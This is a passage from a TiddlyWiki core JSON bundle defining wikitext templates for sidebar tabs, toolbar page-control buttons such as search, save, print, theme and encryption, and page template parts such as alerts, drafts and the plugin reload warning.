"text": "<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n{{$:/core/ui/Buttons/tag-manager}}\n\n</$set>\n\n</$set>\n\n</$set>\n\n<$list filter={{$:/core/Filters/AllTags!!filter}}>\n\n<$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\n\n</$list>\n\n<hr class=\"tc-untagged-separator\">\n\n{{$:/core/ui/UntaggedTemplate}}\n"
},
"$:/core/ui/MoreSideBar/Types": {
"title": "$:/core/ui/MoreSideBar/Types",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Types/Caption}}",
"text": "<$list filter={{$:/core/Filters/TypedTiddlers!!filter}}>\n<div class=\"tc-menu-list-item\">\n<$view field=\"type\"/>\n<$list filter=\"[type{!!type}!is[system]sort[title]]\">\n<div class=\"tc-menu-list-subitem\">\n<$link to={{!!title}}><$view field=\"title\"/></$link>\n</div>\n</$list>\n</div>\n</$list>\n"
},
"$:/core/ui/MoreSideBar/Plugins/Languages": {
"title": "$:/core/ui/MoreSideBar/Plugins/Languages",
"tags": "$:/tags/MoreSideBar/Plugins",
"caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}}",
"text": "<$list filter=\"[!has[draft.of]plugin-type[language]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}/>\n"
},
"$:/core/ui/MoreSideBar/Plugins/Plugins": {
"title": "$:/core/ui/MoreSideBar/Plugins/Plugins",
"tags": "$:/tags/MoreSideBar/Plugins",
"caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}}",
"text": "<$list filter=\"[!has[draft.of]plugin-type[plugin]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}>>/>\n"
},
"$:/core/ui/MoreSideBar/Plugins/Theme": {
"title": "$:/core/ui/MoreSideBar/Plugins/Theme",
"tags": "$:/tags/MoreSideBar/Plugins",
"caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}}",
"text": "<$list filter=\"[!has[draft.of]plugin-type[theme]sort[description]]\" template=\"$:/core/ui/PluginListItemTemplate\" emptyMessage={{$:/language/ControlPanel/Plugins/Empty/Hint}}/>\n"
},
"$:/core/ui/Buttons/advanced-search": {
"title": "$:/core/ui/Buttons/advanced-search",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/advanced-search-button}} {{$:/language/Buttons/AdvancedSearch/Caption}}",
"description": "{{$:/language/Buttons/AdvancedSearch/Hint}}",
"text": "\\whitespace trim\n\\define control-panel-button(class)\n<$button to=\"$:/AdvancedSearch\" tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/advanced-search-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/AdvancedSearch/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/AdvancedSearch]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
},
"$:/core/ui/Buttons/close-all": {
"title": "$:/core/ui/Buttons/close-all",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/close-all-button}} {{$:/language/Buttons/CloseAll/Caption}}",
"description": "{{$:/language/Buttons/CloseAll/Hint}}",
"text": "<$button message=\"tm-close-all-tiddlers\" tooltip={{$:/language/Buttons/CloseAll/Hint}} aria-label={{$:/language/Buttons/CloseAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/close-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/CloseAll/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/control-panel": {
"title": "$:/core/ui/Buttons/control-panel",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/options-button}} {{$:/language/Buttons/ControlPanel/Caption}}",
"description": "{{$:/language/Buttons/ControlPanel/Hint}}",
"text": "\\whitespace trim\n\\define control-panel-button(class)\n<$button to=\"$:/ControlPanel\" tooltip={{$:/language/Buttons/ControlPanel/Hint}} aria-label={{$:/language/Buttons/ControlPanel/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/options-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/ControlPanel/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/ControlPanel]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
},
"$:/core/ui/Buttons/encryption": {
"title": "$:/core/ui/Buttons/encryption",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/locked-padlock}} {{$:/language/Buttons/Encryption/Caption}}",
"description": "{{$:/language/Buttons/Encryption/Hint}}",
"text": "\\whitespace trim\n<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\n<$button message=\"tm-clear-password\" tooltip={{$:/language/Buttons/Encryption/ClearPassword/Hint}} aria-label={{$:/language/Buttons/Encryption/ClearPassword/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/locked-padlock}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Encryption/ClearPassword/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n<$button message=\"tm-set-password\" tooltip={{$:/language/Buttons/Encryption/SetPassword/Hint}} aria-label={{$:/language/Buttons/Encryption/SetPassword/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/unlocked-padlock}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Encryption/SetPassword/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n"
},
"$:/core/ui/Buttons/export-page": {
"title": "$:/core/ui/Buttons/export-page",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/export-button}} {{$:/language/Buttons/ExportPage/Caption}}",
"description": "{{$:/language/Buttons/ExportPage/Hint}}",
"text": "<$macrocall $name=\"exportButton\" exportFilter=\"[!is[system]sort[title]]\" lingoBase=\"$:/language/Buttons/ExportPage/\"/>"
},
"$:/core/ui/Buttons/fold-all": {
"title": "$:/core/ui/Buttons/fold-all",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/fold-all-button}} {{$:/language/Buttons/FoldAll/Caption}}",
"description": "{{$:/language/Buttons/FoldAll/Hint}}",
"text": "<$button tooltip={{$:/language/Buttons/FoldAll/Hint}} aria-label={{$:/language/Buttons/FoldAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-fold-all-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\" variable=\"listItem\">\n{{$:/core/images/fold-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/FoldAll/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/full-screen": {
"title": "$:/core/ui/Buttons/full-screen",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/full-screen-button}} {{$:/language/Buttons/FullScreen/Caption}}",
"description": "{{$:/language/Buttons/FullScreen/Hint}}",
"text": "<$button message=\"tm-full-screen\" tooltip={{$:/language/Buttons/FullScreen/Hint}} aria-label={{$:/language/Buttons/FullScreen/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/full-screen-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/FullScreen/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/home": {
"title": "$:/core/ui/Buttons/home",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/home-button}} {{$:/language/Buttons/Home/Caption}}",
"description": "{{$:/language/Buttons/Home/Hint}}",
"text": "<$button message=\"tm-home\" tooltip={{$:/language/Buttons/Home/Hint}} aria-label={{$:/language/Buttons/Home/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/home-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Home/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/import": {
"title": "$:/core/ui/Buttons/import",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/import-button}} {{$:/language/Buttons/Import/Caption}}",
"description": "{{$:/language/Buttons/Import/Hint}}",
"text": "<div class=\"tc-file-input-wrapper\">\n<$button tooltip={{$:/language/Buttons/Import/Hint}} aria-label={{$:/language/Buttons/Import/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/import-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Import/Caption}}/></span>\n</$list>\n</$button>\n<$browse tooltip={{$:/language/Buttons/Import/Hint}}/>\n</div>"
},
"$:/core/ui/Buttons/language": {
"title": "$:/core/ui/Buttons/language",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/globe}} {{$:/language/Buttons/Language/Caption}}",
"description": "{{$:/language/Buttons/Language/Hint}}",
"text": "\\whitespace trim\n\\define flag-title()\n$(languagePluginTitle)$/icon\n\\end\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/language\">> tooltip={{$:/language/Buttons/Language/Hint}} aria-label={{$:/language/Buttons/Language/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n<span class=\"tc-image-button\">\n<$set name=\"languagePluginTitle\" value={{$:/language}}>\n<$image source=<<flag-title>>/>\n</$set>\n</span>\n</$list>\n<$text text=\" \"/>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Language/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/language\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n{{$:/snippets/languageswitcher}}\n</div>\n</$reveal>\n"
},
"$:/core/ui/Buttons/manager": {
"title": "$:/core/ui/Buttons/manager",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/list}} {{$:/language/Buttons/Manager/Caption}}",
"description": "{{$:/language/Buttons/Manager/Hint}}",
"text": "\\whitespace trim\n\\define manager-button(class)\n<$button to=\"$:/Manager\" tooltip={{$:/language/Buttons/Manager/Hint}} aria-label={{$:/language/Buttons/Manager/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/list}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Manager/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/Manager]]\" emptyMessage=<<manager-button>>>\n<<manager-button \"tc-selected\">>\n</$list>\n"
},
"$:/core/ui/Buttons/more-page-actions": {
"title": "$:/core/ui/Buttons/more-page-actions",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/down-arrow}} {{$:/language/Buttons/More/Caption}}",
"description": "{{$:/language/Buttons/More/Hint}}",
"text": "\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n<$button popup=<<qualify \"$:/state/popup/more\">> tooltip={{$:/language/Buttons/More/Hint}} aria-label={{$:/language/Buttons/More/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/down-arrow}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/More/Caption}}/></span>\n</$list>\n</$button><$reveal state=<<qualify \"$:/state/popup/more\">> type=\"popup\" position=\"below\" animate=\"yes\">\n\n<div class=\"tc-drop-down\">\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"tc-btn-invisible\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]] -[[$:/core/ui/Buttons/more-page-actions]]\" variable=\"listItem\">\n\n<$reveal type=\"match\" state=<<config-title>> text=\"hide\">\n\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$set>\n\n</$reveal>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</div>\n\n</$reveal>"
},
"$:/core/ui/Buttons/new-image": {
"title": "$:/core/ui/Buttons/new-image",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/new-image-button}} {{$:/language/Buttons/NewImage/Caption}}",
"description": "{{$:/language/Buttons/NewImage/Hint}}",
"text": "\\whitespace trim\n<$button tooltip={{$:/language/Buttons/NewImage/Hint}} aria-label={{$:/language/Buttons/NewImage/Caption}} class=<<tv-config-toolbar-class>> actions={{$:/core/ui/Actions/new-image}}>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/new-image-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewImage/Caption}}/></span>\n</$list>\n</$button>\n"
},
"$:/core/ui/Buttons/new-journal": {
"title": "$:/core/ui/Buttons/new-journal",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/new-journal-button}} {{$:/language/Buttons/NewJournal/Caption}}",
"description": "{{$:/language/Buttons/NewJournal/Hint}}",
"text": "\\whitespace trim\n\\define journalButton()\n<$button tooltip={{$:/language/Buttons/NewJournal/Hint}} aria-label={{$:/language/Buttons/NewJournal/Caption}} class=<<tv-config-toolbar-class>> actions={{$:/core/ui/Actions/new-journal}}>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/new-journal-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewJournal/Caption}}/></span>\n</$list>\n</$button>\n\\end\n<<journalButton>>\n"
},
"$:/core/ui/Buttons/new-tiddler": {
"title": "$:/core/ui/Buttons/new-tiddler",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/new-button}} {{$:/language/Buttons/NewTiddler/Caption}}",
"description": "{{$:/language/Buttons/NewTiddler/Hint}}",
"text": "\\whitespace trim\n<$button actions={{$:/core/ui/Actions/new-tiddler}} tooltip={{$:/language/Buttons/NewTiddler/Hint}} aria-label={{$:/language/Buttons/NewTiddler/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/new-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/NewTiddler/Caption}}/></span>\n</$list>\n</$button>\n"
},
"$:/core/ui/Buttons/palette": {
"title": "$:/core/ui/Buttons/palette",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/palette}} {{$:/language/Buttons/Palette/Caption}}",
"description": "{{$:/language/Buttons/Palette/Hint}}",
"text": "\\whitespace trim\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/palette\">> tooltip={{$:/language/Buttons/Palette/Hint}} aria-label={{$:/language/Buttons/Palette/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/palette}}\n</$list>\n<$text text=\" \"/>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Palette/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/palette\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\" style=\"font-size:0.7em;\">\n{{$:/snippets/paletteswitcher}}\n</div>\n</$reveal>\n"
},
"$:/core/ui/Buttons/print": {
"title": "$:/core/ui/Buttons/print",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/print-button}} {{$:/language/Buttons/Print/Caption}}",
"description": "{{$:/language/Buttons/Print/Hint}}",
"text": "<$button message=\"tm-print\" tooltip={{$:/language/Buttons/Print/Hint}} aria-label={{$:/language/Buttons/Print/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/print-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Print/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/refresh": {
"title": "$:/core/ui/Buttons/refresh",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/refresh-button}} {{$:/language/Buttons/Refresh/Caption}}",
"description": "{{$:/language/Buttons/Refresh/Hint}}",
"text": "<$button message=\"tm-browser-refresh\" tooltip={{$:/language/Buttons/Refresh/Hint}} aria-label={{$:/language/Buttons/Refresh/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/refresh-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Refresh/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/Buttons/save-wiki": {
"title": "$:/core/ui/Buttons/save-wiki",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/save-button}} {{$:/language/Buttons/SaveWiki/Caption}}",
"description": "{{$:/language/Buttons/SaveWiki/Hint}}",
"text": "<$button tooltip={{$:/language/Buttons/SaveWiki/Hint}} aria-label={{$:/language/Buttons/SaveWiki/Caption}} class=<<tv-config-toolbar-class>>>\n<$wikify name=\"site-title\" text={{$:/config/SaveWikiButton/Filename}}>\n<$action-sendmessage $message=\"tm-save-wiki\" $param={{$:/config/SaveWikiButton/Template}} filename=<<site-title>>/>\n</$wikify>\n<span class=\"tc-dirty-indicator\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/save-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/SaveWiki/Caption}}/></span>\n</$list>\n</span>\n</$button>"
},
"$:/core/ui/Buttons/storyview": {
"title": "$:/core/ui/Buttons/storyview",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/storyview-classic}} {{$:/language/Buttons/StoryView/Caption}}",
"description": "{{$:/language/Buttons/StoryView/Hint}}",
"text": "\\whitespace trim\n\\define icon()\n$:/core/images/storyview-$(storyview)$\n\\end\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/storyview\">> tooltip={{$:/language/Buttons/StoryView/Hint}} aria-label={{$:/language/Buttons/StoryView/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n<$set name=\"storyview\" value={{$:/view}}>\n<$transclude tiddler=<<icon>>/>\n</$set>\n</$list>\n<$text text=\" \"/>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/StoryView/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/storyview\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n{{$:/snippets/viewswitcher}}\n</div>\n</$reveal>\n"
},
"$:/core/ui/Buttons/tag-manager": {
"title": "$:/core/ui/Buttons/tag-manager",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/tag-button}} {{$:/language/Buttons/TagManager/Caption}}",
"description": "{{$:/language/Buttons/TagManager/Hint}}",
"text": "\\whitespace trim\n\\define control-panel-button(class)\n<$button to=\"$:/TagManager\" tooltip={{$:/language/Buttons/TagManager/Hint}} aria-label={{$:/language/Buttons/TagManager/Caption}} class=\"\"\"$(tv-config-toolbar-class)$ $class$\"\"\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/tag-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/TagManager/Caption}}/></span>\n</$list>\n</$button>\n\\end\n\n<$list filter=\"[list[$:/StoryList]] +[field:title[$:/TagManager]]\" emptyMessage=<<control-panel-button>>>\n<<control-panel-button \"tc-selected\">>\n</$list>\n"
},
"$:/core/ui/Buttons/theme": {
"title": "$:/core/ui/Buttons/theme",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/theme-button}} {{$:/language/Buttons/Theme/Caption}}",
"description": "{{$:/language/Buttons/Theme/Hint}}",
"text": "\\whitespace trim\n<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/popup/theme\">> tooltip={{$:/language/Buttons/Theme/Hint}} aria-label={{$:/language/Buttons/Theme/Caption}} class=<<tv-config-toolbar-class>> selectedClass=\"tc-selected\">\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/theme-button}}\n</$list>\n<$text text=\" \"/>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Theme/Caption}}/></span>\n</$list>\n</$button>\n</span>\n<$reveal state=<<qualify \"$:/state/popup/theme\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$linkcatcher to=\"$:/theme\">\n{{$:/snippets/themeswitcher}}\n</$linkcatcher>\n</div>\n</$reveal>\n"
},
"$:/core/ui/Buttons/timestamp": {
"title": "$:/core/ui/Buttons/timestamp",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/timestamp-on}} {{$:/language/Buttons/Timestamp/Caption}}",
"description": "{{$:/language/Buttons/Timestamp/Hint}}",
"text": "\\whitespace trim\n<$reveal type=\"nomatch\" state=\"$:/config/TimestampDisable\" text=\"yes\">\n<$button tooltip={{$:/language/Buttons/Timestamp/On/Hint}} aria-label={{$:/language/Buttons/Timestamp/On/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-setfield $tiddler=\"$:/config/TimestampDisable\" $value=\"yes\"/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/timestamp-on}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Timestamp/On/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=\"$:/config/TimestampDisable\" text=\"yes\">\n<$button tooltip={{$:/language/Buttons/Timestamp/Off/Hint}} aria-label={{$:/language/Buttons/Timestamp/Off/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-setfield $tiddler=\"$:/config/TimestampDisable\" $value=\"no\"/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/timestamp-off}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Timestamp/Off/Caption}}/></span>\n</$list>\n</$button>\n</$reveal>\n"
},
"$:/core/ui/Buttons/unfold-all": {
"title": "$:/core/ui/Buttons/unfold-all",
"tags": "$:/tags/PageControls",
"caption": "{{$:/core/images/unfold-all-button}} {{$:/language/Buttons/UnfoldAll/Caption}}",
"description": "{{$:/language/Buttons/UnfoldAll/Hint}}",
"text": "<$button tooltip={{$:/language/Buttons/UnfoldAll/Hint}} aria-label={{$:/language/Buttons/UnfoldAll/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-unfold-all-tiddlers\" $param=<<currentTiddler>> foldedStatePrefix=\"$:/state/folded/\"/>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\" variable=\"listItem\">\n{{$:/core/images/unfold-all-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/UnfoldAll/Caption}}/></span>\n</$list>\n</$button>"
},
"$:/core/ui/PageTemplate/pagecontrols": {
"title": "$:/core/ui/PageTemplate/pagecontrols",
"text": "\\whitespace trim\n\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-page-controls\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]]\" variable=\"listItem\">\n<$set name=\"hidden\" value=<<config-title>>>\n<$list filter=\"[<hidden>!text[hide]]\" storyview=\"pop\" variable=\"ignore\">\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n</$set>\n</$list>\n</$set>\n</$list>\n</div>\n"
},
"$:/core/ui/PageStylesheet": {
"title": "$:/core/ui/PageStylesheet",
"text": "\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<$set name=\"currentTiddler\" value={{$:/language}}>\n\n<$set name=\"languageTitle\" value={{!!name}}>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<$transclude mode=\"block\"/>\n</$list>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/PageTemplate/alerts": {
"title": "$:/core/ui/PageTemplate/alerts",
"tags": "$:/tags/PageTemplate",
"text": "<div class=\"tc-alerts\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Alert]!has[draft.of]]\" template=\"$:/core/ui/AlertTemplate\" storyview=\"pop\"/>\n\n</div>\n"
},
"$:/core/ui/PageTemplate/drafts": {
"title": "$:/core/ui/PageTemplate/drafts",
"tags": "$:/tags/PageTemplate",
"text": "\\whitespace trim\n<$reveal state=\"$:/status/IsReadOnly\" type=\"nomatch\" text=\"yes\" tag=\"div\" class=\"tc-drafts-list\">\n<$list filter=\"[has[draft.of]!sort[modified]] -[list[$:/StoryList]]\">\n<$link>\n{{$:/core/images/edit-button}} <$text text=<<currentTiddler>>/>\n</$link>\n</$list>\n</$reveal>\n"
},
"$:/core/ui/PageTemplate/pluginreloadwarning": {
"title": "$:/core/ui/PageTemplate/pluginreloadwarning",
"tags": "$:/tags/PageTemplate",
"text": "\\define lingo-base() $:/language/\n\n<$list filter=\"[{$:/status/RequireReloadDueToPluginChange}match[yes]]\">\n\n<$reveal type=\"nomatch\" state=\"$:/temp/HidePluginWarning\" text=\"yes\">\n\n<div class=\"tc-plugin-reload-warning\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<<lingo PluginReloadWarning>> <$button set=\"$:/temp/HidePluginWarning\" setTo=\"yes\" class=\"tc-btn-invisible\">{{$:/core/images/close-button}}</$button>\n\n</$set>\n\n</div>\n\n</$reveal>\n\n</$list>\n"
},
"$:/core/ui/PageTemplate/sidebar": {
"title": "$:/core/ui/PageTemplate/sidebar",
"tags": "$:/tags/PageTemplate",
